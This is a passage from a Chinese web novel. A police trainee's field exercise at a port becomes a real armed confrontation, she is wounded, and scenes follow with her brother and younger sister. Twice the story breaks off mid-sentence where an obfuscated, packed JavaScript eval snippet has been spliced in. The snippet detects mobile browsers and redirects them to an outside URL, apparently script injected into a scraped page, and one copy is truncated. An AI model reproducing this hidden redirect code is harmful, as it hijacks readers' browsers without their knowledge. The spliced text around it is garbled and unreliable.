“我不是特别清楚,胖子...胖哥也只是随口一提,但......”阮秋顿了顿,似乎在斟酌用词,“他说警察总喜欢光顾他们店,怪怪的。” 警察...... 阮云琛的脑子里瞬间冒出了一连串的画面,像是被突然点燃的火花,一闪即逝。 是北边棚户区那些昏暗的巷子,是窄街尽头灯光摇晃的网吧,是几张模糊不清的面孔……却什么都抓不住。那些片段像是被蒙上了一层雾气,无法拼凑成完整的轮廓。她本能地感到一丝不对劲,但这股念头转瞬间便被另一种更实际的疼痛打断了。 腰侧的伤口开始隐隐作痛,大概是止疼片的药效过了。她无声地吸了口气,指尖轻轻按了按桌沿,忍住了不让自己的动作显得太僵硬。 “警察光顾是好事。”阮云琛说,“好歹能震慑一下犯罪分子。北边那片棚户区一向乱,有警察愿意常来,也算是替他看了门。” 她的话说得随意,是为了尽快结束这个话题,也是为了不让阮秋多想。 对面的阮秋似乎没有察觉到她的不对劲,停顿了几秒后,若有所思地“嗯”了声。 “我也是这么跟胖子说的。”阮秋应了一声,顿了顿,又补了一句,“可他说男人的直觉告诉他,准没好事发生。” 阮云琛沉默了片刻,脑子里冒出了胖子的语气,笑了笑。 好在阮秋很快就转移了话题:“姐,月底回来吗?” 阮云琛松了口气,缓缓挪动了下上半身,找了个更舒服的站姿:“月底还有一项实习任务,是期末考,考完就回。” 电话那头忽然安静了片刻,随后是一声略显压抑的呼吸。阮秋没说什么,只是嗯了一声,但尾音拖得很长,像是心情一下子放松了下来。 “等你回来。”他说,声音里透着一点忍不住的愉悦,却尽量掩饰得不让人听出来。 阮云琛没有再接话,只是听着电话里的细微电流声,挂断前轻轻叹了口气。 ——总觉得这小子好像变得比以前黏人很多。 但也可能是错觉。 第二次的实习任务来得比预想的还要快。 而这次任务,不是在田家庄附近,而是在淮龙。 93. 模拟考 阮云琛倒也没想着能这么快就回淮龙。 虽然距离不远,但警校的任务通常都固定在田家庄的几处训练基地,这次突然改动地点,显然有些特殊的考量。 指导员简略地说明了一下任务北京——实地模拟考核,内容是针对港口区域的突发状况进行搜查与排查,考验组员的应急反应和协作能力。 但这不过是书面上的内容。 阮云琛手上的任务文件已经提前说明了情况:港口的特殊性在于它不仅是货物流转的节点,更是非法交易的温床。 虽然只是模拟任务,但无论是复杂的环境还是意外的风险,都比田家庄的训练场更贴近现实。 港口的热闹与杂乱依旧和从前没有太大区别,货车的轰鸣声混杂着码头工人们的喊声,远处海风卷起海水拍打船身的声音,让整个环境显得喧嚣不安。 阮云琛本以为任务会进展的很顺利的。 可她没料到,这显然超出了模拟任务的范畴。 开始的一小时一切如常。 组员们按照事先划定的区域分工排查,各自标记可能的风险点。一些看似隐蔽的地点,不过是放着模拟任务用的道具,像提前设置好的谜题,等着他们一一解开。 但过了中午,情况开始变得微妙起来。 首先是一辆未在任务清单中的货车,停在卸货区边缘,车门敞开,车厢里堆放着凌乱的货物。 阮云琛用耳机低声提醒了一句,让组员绕开这辆车继续前进。随后是仓库区的角落里,几名工人模样的人正在低声交谈,他们的表情有些不自然,眼神总是警惕地扫视周围。 港口一向是个鱼龙混杂的地方,但这两处细节却让阮云琛心里隐隐升起一股不安。 ——任务文件里从未提到这些异常情况。 “组长,三区F仓发现异常人员。”耳机里传来组员的汇报,声音低而急促。 她迅速走过去,远远地就看到那片区域里,几名身影正从一辆废弃货车后方走出。 那是几个成年男人,衣着简单,但神态和步伐却显得格外戒备。他们没有急着离开,而是散开后站在附近,像是在守卫着什么。 阮云琛的目光在那几个人身上停留了片刻,越看越觉得不对劲。 他们的站姿太随意了。 没有统一的模拟装束,也没有一丝刻意的痕迹,更别提那几双眼睛——警校的考官即使假扮,也不会露出那种带着防备和试探的眼神。 这些人的状态——阮云琛闭上眼,脑海中立刻浮现出一幕幕熟悉得几乎令人作呕的画面。那些动作,那些微不可察的肢体语言,那些下意识的警觉和试探,像刻刀一样烙在她的记忆深处。 多年来,每一次梦魇里,她看到的都是这些人。不是具体的面孔,而是模糊的轮廓,匕首般的眼神,随时准备扑上来的危险姿态。 那种从骨髓里散发出来的暴力和压迫感,贯穿了她整个童年。即便在最安静的夜晚,那些碎片化的影像也从未离开过,像阴影一样潜伏着。 这些人和那些人没有区别。 阮云琛的呼吸一滞。她甚至不需要再多想,就已经明白了——她太清楚这些人是怎么活着的,也知道他们会用什么样的方式应对“突如其来的警察”。 这一切,就像一场被迫重现的熟悉噩梦,连细节都不偏不倚地精准。 她的心头一沉。 阮云琛将手指按在耳机上,声音压低:“指导员,这里可能有异常人员。” 耳机另一端传来指导员短暂的沉默,随后是迅速恢复冷静的声音:“你确定吗?” “还不能完全确定。”阮云琛目光仍然紧锁着那些人,“但他们不像是我们的人。” 指导员显然也意识到问题的严重性。几秒钟后,他果断开口:“按规程联系指挥中心,申请支援。我这边会继续监控,但你是现场指挥,保持冷静。” “明白。”阮云琛深吸了一口气,压下腰侧的隐隐痛感,手指快速拨通了指挥中心的通讯。 “这里是淮龙港口实习小组,三区F仓发现异常人员,申请支援。”她的声音冷静而迅速,没有一丝犹豫。 通讯对面很快接通,带着微微电流声的嗓音传来:“收到,支援队伍已出发,预计五分钟内到达。” 阮云琛怔了怔,耳朵敏锐地捕捉到了那熟悉的声音。 尽管只有短短几秒钟,她却已经确认了对方的身份。 ——程一冉。 那个曾经无数次在警校冷漠看过她的名字,现在以一种完全意料之外的方式出现在耳机另一端。 “三区F仓具体情况如何?”程一冉的声音再次响起,依旧简洁干练,仿佛任务之外没有任何多余的话。 阮云琛抿了抿唇,迅速回过神来,语气没有半分波动:“人数约五人,未有明确动作,但可能涉及货物交易。我们没有带真枪,需支援到场确认。” 耳机里的声音停顿了一秒,随后传来更低沉的一句:“收到,等待支援,不要擅自行动。” 短短的对话结束,耳机里恢复了安静。 阮云琛没有再多想,只是迅速调整了呼吸,强压下腰侧不断传来的刺痛感,目光继续锁定在现场的局势上。 她并没有回头,但耳边仿佛还能听见程一冉的声音,那熟悉的语调带着某种难以名状的意味,像是将过去的一切掠过又归于平静。 阮云琛的手指微微握紧,垂在身侧的拳头随着腰侧的痛感不由得收得更紧了一些。 眼前的情景让她意识到,这五分钟可能会很漫长。 她快速扫了一眼四周的队员,目光沉稳,但带着一种隐约的警告:“保持隐蔽,别轻举妄动。” 几名队员显然也察觉到了异样,但他们的视线总是不由自主地飘向她,似乎在等待下一步指示。 阮云琛知道,作为组长,这个时候自己的态度比任何命令都更重要。 她略一抬手,示意大家分散到更隐蔽的位置。 货箱与货箱之间的缝隙、废弃设备后面的阴影,成了最好的掩护点。阮云琛自己则靠近了一根废弃的钢梁,尽可能在视野和隐蔽之间找到平衡。 对面的那些人没有过多的动作,只是围在货物旁,交谈声若有若无地传过来。 阮云琛听不清内容,但能感觉到那种谈话的随意中带着某种警惕。显然,他们也意识到四周可能有人。 时间一秒一秒地过去。 “三区F仓的货物本该在三天前运走。”耳机里忽然传来程一冉的声音,带着一丝低低的压迫感,“但这批货莫名延迟,可能涉及非法交易。” 阮云琛没有回应,只是用目光示意身旁的队员观察对方的动向。 忽然,对面的人中,有一个人抬头扫了一眼四周,然后对着其他人摆了摆手,似乎是要做些什么。 阮云琛的心猛地提了一下。 “队长,他们是不是要跑?”耳机里,一个年轻队员压低了声音,紧张地问。 “别动,等支援。”她的声音低而稳,像是一块落在水底的石头,试图平息那些泛起的涟漪。 可下一秒,事情的发展就打破了她的平静判断。 其中一人忽然转身,朝货箱的一侧走去,几步之后便消失在了视线之外。 阮云琛迅速判断了一下方向,那个位置通往的是一条狭窄的通道,出口则直达外面的码头。 如果他们从那里撤离,支援到场后只会扑个空。 她没有时间犹豫,低声下达指令:“小组分散两人跟上,不要靠近,随时汇报。” 两名队员迅速朝那方向移动,脚步轻得几乎没有声音。阮云琛依旧站在原地,目光紧紧盯着剩下的几个人,试图找出更多破绽。 空气中弥漫着一种无法言喻的紧张感。 耳机里传来轻微的脚步声,那是两个队员的动作。可就在他们快要靠近通道时,忽然传来了一声刺耳的金属摩擦声——像是什么东西被拉开,撞在了钢板上。 对面的几人立刻回头,目光冷峻,原本随意的神态在瞬间消失。 “暴露了。”阮云琛的脑海里迅速闪过这个判断。她猛地按下耳机,沉声说:“所有人退到安全点,立刻!” 同时,她另一只手已经握住腰间的通讯器,迅速调出指挥中心的频道:“情况升级,有人员试图逃离,现场局势可能失控,请支援加快到场。” 耳机里传来程一冉果断的回答:“十分钟。” ——十分钟。 阮云琛抬起眼,望向前方局势,深吸了一口气。 她微微垂下眼,看着腕上的通讯设备亮起的小红灯,短短几秒的沉默里,脑海中已经将眼前的局势迅速分解开来。 “所有人后撤到B点。”她压低了声音,语速极快,透着冷静的力道,“留下林飞和李楠跟我配合,其余人守住出口。” 队员们动作迅速,没有任何拖泥带水地向B点撤离。 林飞和李楠应声点头,阮云琛靠着铁柜缓缓站直了身子,调整了一下呼吸,目光再次扫向三号仓库的方向。 她知道他们没有武器,也没有真正的警力配备,但必须争取时间。程一冉带队赶来的这段时间,是她必须独自扛住的。 动静很快引起了目标的注意,几名男子迅速分散,试图避开视线。但一个高大的男人停下脚步,转身朝阮云琛藏身的方向逼近。 时间像是被拉紧的弦,空气中弥漫着一股浓烈的危险气息。阮云琛轻轻吸了一口气,抬手做了个手势,示意队员散开。从高架上传来的轻微响动让对方瞬间警觉,他目光一转,冷笑了一声,忽然扑了过来。 阮云琛没有犹豫,侧身闪开,在对方刚要掏出什么的时候,挥起手边的一根铁杆,猛地砸向他的手腕。 金属碰撞的声音响起,那人闷哼了一声,手里的匕首掉在了地上。 “上!”阮云琛低喝了一声,身边的队员迅速上前,与另一名试图靠近的目标缠斗起来。 高个男人被激怒了,抬脚狠狠踹向阮云琛,动作带着一股狠戾。 她来不及闪避,硬生生挨了一下,身体倒退了两步,腰侧的伤口被撞得钝痛加剧,但她没有表现出一丝迟疑,反而迅速反扑回去。 两人短暂交手时,远处传来了一声枪响。 阮云琛猛地抬头,看到另一个人从怀里掏出了一把手枪,对准了正在与他对峙的队员。 “快躲开!”她低吼一声,用尽全力将那名队员往旁边推开,自己的身影却彻底暴露在了枪口之下。 对方毫不犹豫地扣动了扳机。 枪声炸裂,子弹擦过阮云琛的手臂,带起一阵撕裂的刺痛感。她脚步踉跄了一下,却在瞬间稳住了身体。 耳机里传来程一冉的声音,冷静而干脆:“十秒。” 短短两个字,像是某种无形的力量,瞬间压住了阮云琛的紧张情绪。 她迅速调整了姿势,抬起未受伤的手,用铁杆挡开了对方试图靠近的动作,同时回头对队员低声命令:“散开,准备撤离。” 脚步声在仓库里此起彼伏,敌方显然也听到了动静,开始加快追击。阮云琛咬紧了牙,顾不上手臂的疼痛,冷静地观察着周围的环境,寻找可能的掩护点。 “八秒。”程一冉的声音再次响起。 阮云琛没有回应,只是迅速挥手,示意队员从侧门撤离。她的动作干脆利落,每一步都透着冷静的算计,仿佛刚才那一枪对她没有丝毫影响。 远处的引擎声响起,伴随着越来越近的脚步声,压迫感骤然加剧。 “六秒。”程一冉的语气依旧平稳,像是一块稳固的基石,压在阮云琛心头,却不让她喘不过气。 阮云琛抬眼看了看出口方向,呼吸沉稳,快速扫视仓库内的情况。她的队员已经按她的指示分散撤离,但不远处的三名可疑人员并没有完全被局势震慑住,依旧在寻找可乘之机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231824|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “三秒。”耳机里传来最后的倒计时。 阮云琛深吸了一口气,握紧手中的铁杆,挡住了试图冲向出口的一人,同时低吼了一声:“别动!再往前一步,我不保证你能站着走出去。” 对方愣了一下,目光里多了几分迟疑。 远处传来的引擎声骤然增大,伴随着刺耳的刹车声,一队全副武装的特警从仓库外迅速涌入。清一色的黑色制服,胸前的徽章在仓库昏黄的灯光下闪着冷光。 “放下武器!双手抱头,蹲下!”特警中领头的人持枪大步上前,声音低沉而有力,带着不容置疑的威严。 几名嫌疑人动作迟缓,显然不甘心就此放弃。但在对方步伐逼近、枪口直指额头的一瞬,他们的犹豫被彻底击溃,缓缓地举起了手。 阮云琛微微松了口气,手臂的疼痛让她的动作稍显僵硬,却没有让她的神情露出任何破绽。 “情况控制得不错。”特警领队站定在她面前,目光在她的脸上停了一瞬,随后转向地上的嫌疑人。那声音熟悉得让阮云琛有些错愕。 “程一冉。”她脱口而出。 对方显然也愣了一下,但只是很短的停顿。程一冉点了点头,语气依旧冷静:“好久不见。” 阮云琛没有再说话,只是站直了身体,用不动声色的动作掩饰着手臂的伤口。 “剩下的交给我们。”程一冉微微侧头示意队员,“伤员优先送医。” 她的声音低而冷静,却透出一种无法忽视的关切。阮云琛皱了皱眉,刚要开口拒绝,却被程一冉打断:“这是命令。” 话音未落,程一冉已经转过身,开始安排现场收尾。特警们动作迅速,仓库里的气氛瞬间被掌控。 阮云琛站在原地,看着那个熟悉的背影,一时间竟有些恍惚。 仓库的嘈杂声渐渐远去,取而代之的是刺鼻的消毒水味道和走廊上时不时响起的推车轮声。 阮云琛盯着头顶过于明亮的灯光,听到门外传来的脚步声,一轻一重,踩在地板上,带着些急切。 门推开时,她还没来得及撑起身,就被一双冰凉的目光落在了身上。 “你的伤怎么回事?”阮秋的声音不高,但听得出努力压抑的怒意,仿佛下一秒就会破土而出。 阮云琛有些无奈地闭了闭眼:“你......怎么知道我在这里?” “医院打的电话。”他三步并作两步地走近,目光扫过床头柜上的病例,手紧紧攥着,好像那薄薄的几页纸能给出一个解释。 ——伤员当然不会给运回田家庄。 这要是运回田家庄,一路上八个小时,血还没流干,那伤口都得被车给颠裂开。 所以淮龙市立医院,是伤员最好的去处。 “阮云琛。”他的语气低了下来,声音却像绷紧的弦。 阮云琛抬头看了他一眼,没说话。 她忽然有些不敢看阮秋。 他的眉间微微蹙起,那张脸上有种熟悉的情绪,是从前那个还不叫阮秋的小男孩常有的样子——只是那时候他总是藏得很深。 阮云琛还记得,他以前总把自己蜷成一团缩在角落里,默默递来一瓶消毒水和几片药,那动作轻得几乎听不见。 没有问,也没有说,只是用那双干净却带着点倔强的眼睛看着她,像是在等一个答案——她会不会把这些接过去。 那时的他,不敢也不愿将关心说出口,总是用这样的方式试探着,笨拙却小心翼翼,像是害怕惊扰了什么,也像是怕自己跨越了不该跨越的界限。 现在却变得直白了。 担忧写在眉眼间,不再躲躲藏藏。 他会开口,会质问,会在她受伤的时候站在床边,用一种几乎毫无保留的亲近注视着她。 这种直白让她有点不知所措,却也让她生出一种复杂的情绪——似乎从前的距离感被拉近了,却又好像在某些地方更难以看清。 阮云琛一时间不知道这是不是好事。 她本以为这学期可以圆满收尾的。 本以为上次实习任务受的伤可以悄悄瞒住的。 阮云琛局促地收回了目光——她也不知道自己为什么要这么局促,她低头整理被角,指尖在平整的床单上轻轻滑过。 那种复杂的情绪像是缠绕的线,一时理不出头绪,但她知道,他变了。 比以前更加勇敢,更加直白,也更加……让人无处可躲。 医院病房的灯光比仓库的更加刺目,刺得她的目光有些微微发散,却看得出阮秋的情绪远比想象中激烈。 “只是擦伤。”她抬手挡住他那带着审视意味的目光,语气轻描淡写,“医生说两天就好,真没什么大碍。” “只是擦伤?”阮秋看着她的表情,笑了一声,眼底却没有丝毫笑意。 阮云琛不喜欢这样的阮秋,过于锋利,像是一把随时会劈向谁的刀。 或者说......不是不喜欢,而是有些不太适应。 她一直习惯自己扛下一切,从前是因为没有选择,现在则是一种根深蒂固的本能。 尽管近些年来这种本能似乎稍微松动了一点,因为身边开始出现那些带着善意的人——阮秋、廖致远,还有一些渐渐走近的队友和身边的人。 他们的存在像是划开她原本封闭的世界的一束光,照进来,驱散了些阴影。 但人并不会那么轻易改变。突然让她把自己的脆弱完全揭露出来,让人看见那些她藏得最深的部分,她依旧会感到本能的不适。 尤其是阮秋——他的关心过于直接,带着一种让人无法逃避的力度。以前那种默默递药的少年似乎已经远去,而现在这个目光灼灼的年轻人,却让她觉得有些无处可逃。 “行了。”她压低声音,努力让语气保持平稳,“我已经处理过了,别把自己吓坏了。” “我?”阮秋微微挑了挑眉,声音低了几分,“姐,你觉得我现在是害怕?” 94. 乱麻 病房外走过的人影投下一瞬的阴影,阮云琛顺着光线看过去,正好看到窗外夕阳将长廊染成了暖色。 “你害怕也没用。”她轻声说,像是在安慰他,也像是在说给自己听,“我该做的,总得做完。” 阮秋盯着她,最终没再说什么,只是站在那里,手上的力道松了些,却没有完全放开。 空气里是安静得近乎凝滞的味道。 病房的灯光不算太亮,但在夕阳余晖的衬托下,显得有些苍白。 阮秋站在床边,目光定定地落在阮云琛的脸上,像是在忍耐什么。他很少有这样的表情,平日里的阮秋更像是一块润滑却坚硬的石头,总能把棱角藏得很好。 但这次,他的情绪像是一块浮出水面的暗礁,带着无法忽视的锋利。 “姐,”他低声开口,嗓音有些哑,“你为什么总是这样?” “哪样?”阮云琛靠在病床上,语调刻意带着点轻松。 她低头整理起了被子,试图掩饰语气里的疲惫。 阮秋没有回答,只是盯着她的动作,目光如针。片刻后,他忽然轻轻笑了一声,却没有一点笑意:“你永远都觉得自己能扛得住。” 阮云琛抬眼看他,眉头微皱,显然对他的情绪有些不解:“我确实能扛得住,不然呢?难道我躺着等别人来解决?” 这话有点玩笑的意思,但阮秋却没有接。他只是慢慢地呼了口气,像是在压下某种情绪,手垂在身侧攥了又松。 “阮秋,别这么严肃。”阮云琛见他沉默得反常,索性笑了笑,轻声说,“我知道你担心——” 她话还没说完,阮秋忽然抬起头,直直地看向她。 那眼神带着点压抑了很久的东西,像是拧着一根即将崩断的弦。 “你知道?”他语调很低,低到像是一片落地的雪,没有声音,却让人觉得冷。 阮云琛一愣,视线与他相撞。 “你知道,我为什么这么担心你吗?”阮秋的声音压得更低了一些,却显得格外清晰,每个字像是刀刃一样划过空气。 阮云琛有片刻的错愕,但很快敛去了神色。她笑了笑,带着点敷衍的语气:“当然知道,你是我弟弟,所以会在意——” 阮秋低下头,嘴角扯起一抹意味深长的笑意。他看着她,却没有接话,过了好一会儿,才慢慢吐出几个字:“那可不一定是你想的那种‘在意’。” 空气仿佛在这一刻凝固了。 阮云琛的手顿在被子上,眉心轻轻皱了一下。她不习惯阮秋这种语气,也不明白他为什么突然变得这样咄咄逼人。这气氛实在怪得很,像是随时会崩断的弦,紧绷得让人无处安放。 她移开视线,故作轻松地说:“你......别想太多。” “想太多?”阮秋低笑了一声,却没再多说。他往后退了一步,靠在墙边,手插进口袋里,动作看似随意,却能感觉到他在极力克制着什么。 房间里重新归于平静,唯一的声音是挂在墙上的钟表,指针缓慢地移动着。 “好好休息。”他转身走到门边,手放在门把上,似乎犹豫了一下,却终究没有回头。他只是淡淡地留下一句:“别再让我担心。” 可这次,阮云琛觉得,阮秋可能是真的生气了。 阮云琛住院的那几天,阮秋每天都会来。 不是像从前那样拎着水果、杂志,笑嘻嘻地坐在床边跟她闲聊,而是板着一张脸,冷着目光走进来,把餐盒往桌上一放,然后坐在窗边,一句话也不说。 一日三餐,一顿不落。 阮云琛第一次尝试开口问了几句,比如学校怎么样,最近有什么新鲜事儿。 阮秋看着窗外,一动不动,直到她自己先把话题绕回了自己的伤。对方才哼了一声,似是冷嘲,但又听不出什么情绪。 有时候淼淼会跟着一起来。 小姑娘年纪小,嘴可不笨。她左看看右看看,终于忍不住开口:“你们吵架了?” 阮云琛本来想辩解,阮秋却转过头,冷冷地扔下一句:“小孩子别多管闲事。” 淼淼平时可不是这么好哄的,但这回却难得地闭了嘴,坐在一旁吃苹果,时不时悄悄打量他们俩,一脸写满了“真有问题”的好奇。 廖致远打了电话来慰问,说这几天忙着追案子,实在脱不开身,问她要不要托人帮忙带点什么。 电话响的时候,阮云琛的手机就在右手边,但她的右手和右腰都有伤,伸手时扯到腰上的伤口,不由得龇牙咧嘴。 阮秋冷漠地看了一会儿,最后还是走过来,拿起手机,语气淡淡地说:“廖叔的。” 阮云琛抬了抬下巴示意他接,阮秋接通后只简短地“嗯”了几声,把电话递给她,便退回到窗边,继续保持着他的沉默。 阮云琛在医院住了一个多星期。 伤口还没完全愈合,但已经可以拆线了。其他受伤的同学伤口创面都不大,比阮云琛提前几天走了——这毕竟是意外状况,出院之后还是得回校做个最终报告,之后才能放假回家。 阮云琛本以为阮秋会来送她,但直到她站在大巴站的检票口,身后也没有传来任何脚步声。 大巴站明明人很多,但阮云琛却莫名地觉得空荡荡的,连嘈杂的喇叭声都显得格外单调。 她也不知道自己在等什么,只是站在车门旁边愣了几秒,直到车上的工作人员提醒了一句,她才忽地被拉回现实,反应了过来,抬脚上了车。 窗外人群涌动,阮云琛忽然觉得,心里某一处的安静与喧嚣交缠得厉害,像是搅成了一团。 可她不知道,阮秋也是同样。 他的心里是一团乱麻,无论如何也解不开。 担心阮云琛,已经成为了他的是本能。 她明明什么都没说,他却能清楚地看出她腰侧的动作有些不自然,手臂也不敢用力。像是一条被藏在袖口里的红线,悄悄地一点点牵扯着他的神经,让他无时无刻不在绷紧着。 可与此同时,他也知道,阮云琛是懂分寸的。 她的行动,她的决策,甚至她的每一次伤痛,背后都有她自己的理由。 但知道归知道,阮秋依旧控制不住心里的忧心和关切——甚至,是愤怒。 那愤怒是冲着什么去的?阮秋也说不清楚。 是冲着那些一再将她推向伤害的任务?还是冲着她自己? 阮秋闭了闭眼。 可他也很清楚,这愤怒终究也不过是因为自己太无能了。 他无法阻止阮云琛受伤。 他也不能阻止她。 她的性格,她的拼命,她的职业——无一不在注定这一切。 他比谁都更清楚她有多坚定,有多不可动摇。 那是支撑着她一步步走到今天的东西,他无法,也不敢去反对。 可阮秋也比谁都更清楚,这种性格,这种选择,所带来的,只有疼痛和代价。 阮秋靠在墙边,闭着眼睛,沉默了许久。 他记得在他还不是阮秋的时候,在他还在那桥洞下求生的时候,他记得阮云琛当时的手,干燥却不粗糙,明明还带着伤,却稳得像一块石头。 那双手伸向了他,那个人问他:“要去我家吗?” 那双手帮他擦掉了脸上的泥,也替他端起了整个生活。 可那些伤口,从来都没有少过。 阮秋知道她不需要自己这点微不足道的担心,她比谁都坚强。可偏偏,他就是没办法停下这种牵肠挂肚的思绪。 或许,这种挂念本身就是一场早已注定的输局,越是想要放下,反而越深陷其中。 车站的广播里响起了提示音,下一班车即将发车。 他低下头,手指无意识地握紧成拳,直到骨节微微发白,却始终没有动。 阮秋一回到家,就被一双犀利的眼睛牢牢锁定在了门口。 淼淼盘着腿坐在沙发上,手里捏着一个还没剥开的橙子,目光像雷达一样追着他不放,准确无误地击中了他的后脑勺。 她没说话,但那副表情已经写满了“你最好现在就解释清楚,否则别想安生”。 “怎么了?”阮秋试图装作什么都没发生过的样子,把鞋往门边一踢,径直走向厨房。 “你和姐吵架了吧?”淼淼的声音冷不丁从后面传来,带着一点咄咄逼人的意味。 “没有。”阮秋头也不回地回答,动作看起来漫不经心,手却在开水壶开关上摁了两次,才摁准。 “没有?”淼淼的声音拔高了点,显然对他的回答完全不信,“你那副样子摆在谁眼前,谁信啊?” 阮秋叹了口气,转过身倚在厨房门框上,手插进口袋里,目光落在她脸上,语气里带着一丝警告:“小孩子别乱猜。” 淼淼挑了挑眉毛,像是被这句话点燃了某种挑衅的兴致,直接把手里的橙子一放:“行啊,你不说是吧,那咱们换个话题——你房间里藏着的东西,我都看见了。” 阮秋的神色立刻绷了起来,眉头紧皱,眼神里瞬间多了几分戒备:“你……进我房间了?” “怎么的?”淼淼抱起胳膊,一副天不怕地不怕的样子,目光里带着点狡黠的光,“谁让你不锁门的。” 她故意停顿了一下,像是要欣赏阮秋紧张的模样。阮秋果然上钩,整个人从沙发里直起身,声音压低了几分:“你到底发现什么了?” 他的脑子里飞快闪过几种可能性——从床底下随手塞的外卖袋到书架角落里一本不该出现的杂志。 那本杂志是胖子之前拿来的,说是“让你早点接受现实”。阮秋没好意思丢,但也没打算真去看——就只是随手往柜子里一塞,想着哪天没人了就扔掉。 可现在…… “你到底看见了什么?”他的语气已经带上了点压迫感,眼神像是在审问犯人,生怕漏掉她脸上任何蛛丝马迹。 淼淼却一点都不慌,甚至还翘起了二郎腿,像个混世魔头一样,吊儿郎当地晃着脚尖:“你猜啊。” 阮秋看着她的模样,隐隐觉得头疼。 这个小姑娘明明小时候还天真无邪,喜欢蹦蹦跳跳地跟着阮云琛跑,眼里全是单纯的崇拜。 可不知怎么的,像是被风吹歪了芽,现在浑身上下都写满了“邪恶”、“魔头”、“混世魔王”。用阮云琛的话说,肯定是天天跟不三不四的人混在一起搞得。 “别废话。”阮秋咬了咬牙,目光更加犀利,“到底看见什么了?” “你竟然……”淼淼拖长了音调,神色里满是“你的大秘密被我发现了”的得意,随后慢悠悠地开了口:“看少女漫画!” 阮秋怔了一瞬,随后忽地松了口气。 他的表情从紧张瞬间变成了无奈,嘴角抽了抽,抬手揉了一把自己的后脑勺:“说得好像你不看似的。” 淼淼忽然一拍沙发扶手,整个人都坐直了,眼睛里塞满了怨念:“可你竟然买到了《草莓100%》的最新一卷!” 阮秋哼了一声,转身从冰箱里拿出一罐可乐,语气里带着点得意:“怎么的?我有本事,我才买得到。” 淼淼的眉头紧皱,嘴角微微撇着,像是受了天大的委屈。可这种怨气只持续了几秒钟,就迅速化作了亮晶晶的期待——眼睛里原本积聚的愤怒被一股兴奋的光芒取代。 她抿着嘴,像是要故作镇定,但嘴角的弧度早就藏不住她的渴望。 “哎,快拿来给我看看!”淼淼一下子扑了过来,眼里充满了期待。 “想得美。”阮秋咔哒一声拉开拉环,懒洋洋地走回了屋,嘴角的弧度藏不住的骄傲,“先答应我不再乱进我房间。” “切。”淼淼撇了撇嘴,但那副不甘心的样子,早已经出卖了她的意图,“我要跟姐姐告状。” 听到“姐姐”两个字的瞬间,阮秋脚步一顿,指尖下意识地捏紧了手里的可乐罐。他的眼神微微暗了暗,像是有什么细小的情绪在里面浮现,又被他迅速压了下去。 可他反应得很快,仿佛什么都没发生似的,嗤笑了一声,懒散地靠在门框上:“你告吧,看姐姐知道你这个年纪不学习看漫画,是不是会把你屁股揍开花。” “哼!”淼淼抱着双臂,扬起下巴,脸上露出一副故作高深的表情,“那你房间里那些封面花里胡哨的东西,姐姐要是知道了,可能直接打断你的腿。” 阮秋的表情瞬间僵了一下。他盯着淼淼,声音低沉了几分:“你到底看见什么了?” “还用看?我又不是不知道,你能藏什么东西。”淼淼一脸“我早就知道”的模样,靠在沙发上,漫不经心地瞥了他一眼,“啧啧,真看不出来,秋哥,挺有品味的嘛。” 阮秋咬了咬牙:“淼淼,你别装神弄鬼——” “那你别心虚啊。”淼淼大大方方地回嘴,语气带着点满不在乎的挑衅,顺手抓起了旁边的抱枕,往沙发上一摔。 阮秋盯着她,眉头皱得更紧了些。他想继续追问,又怕真被她说出什么来,反倒自己先落了下风。 僵持了一会儿,他突然冷哼了一声,转身回了房间,力气大得几乎把门甩出了“砰”的一声。 淼淼没被这声关门吓到,反倒笑得更开心了些:“真有鬼啊,还装!” 虽然掰赢了一局,但淼淼还是当天晚上就打电话告状了。 阮云琛还没回来,所以淼淼当然不是找阮云琛告状——这点让阮秋好歹放点了心下来,可新的问题马上来了。 她讨说法的对象,是那个嘴巴没个把门关的谢胖子。 “小秋,告诉哥,你是不是真的恋爱了。” 胖子满脸八卦,挤眉弄眼,脸上的表情堪比古时候的太监,阮秋恨不得一拳头把他的脸砸回他以前二百来斤的模样。 “你有毛病吧?”阮秋语气里透着一股嫌弃,没好气地扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“吃你的泡面去!”阮秋确实也是没忍住,一巴掌糊上了胖子的脑袋,险些把他的头给真的怼进泡面桶里。 柜台前面来开机的小学生捏着两块钱张着嘴看着这一幕,待胖子抬起头来时,小学生满脸惨白扭头跑了。 胖子“嗖”地就站了起来:“哎!学生!等等!” 可那学生跑得比兔子还快, 见怎么也追不回来那个学生,胖子愁眉苦脸地扭头看向阮秋,对方大概自知理亏,已经拿着一大碟软盘站起了身钻进了后头的办公室里:“我帮你把游戏安装进去。” 阮秋在大学读的是计算机专业,胖子自己捣鼓不好电脑,又一时半会儿找不到多精通电脑的人,正好阮秋这么个大好的人才在,所以胖子干脆雇了阮秋来。 也不能说是雇,毕竟没个正经上班时间。 胖子也就是给个普通小时工的工资,管饭管水管电脑,待阮秋有空的时候就来帮帮忙——反正他现在也没在做拳馆的工作了。 公寓附近的那家拳馆老板陈二起暂时转让了店铺,他说是攒够了钱,要出国玩一圈再回来,等玩够了再回来接着开。 胖子调笑他头顶光光,志向多多,结果被陈二起揍得连滚带爬地逃出了店。 “滚!别让我再见到你!”陈二起骂道。 胖子这人嘴欠得要命,尤其是面对熟人时,总能用三句话把天聊死,用五句话让人恨不得拿鞋底抽他。然而,这样一个让人又爱又恨的家伙,却是阮秋为数不多能彻底信任的人之一。 阮秋感谢胖子,不是因为他给了自己这份看似随意的活计,也不是因为他偶尔给的那些低劣建议和糟糕玩笑,而是因为胖子从不问,也从不逼。 他从没问过阮秋的过去,也不关心他和阮云琛究竟是怎么成了姐弟,更不会追问那些深埋在阮秋眼神里的情绪和秘密。 在胖子这里,他也好,阮云琛也罢,甚至是阮淼淼都不用是一个无懈可击的好学生,也不用做任何伪装。 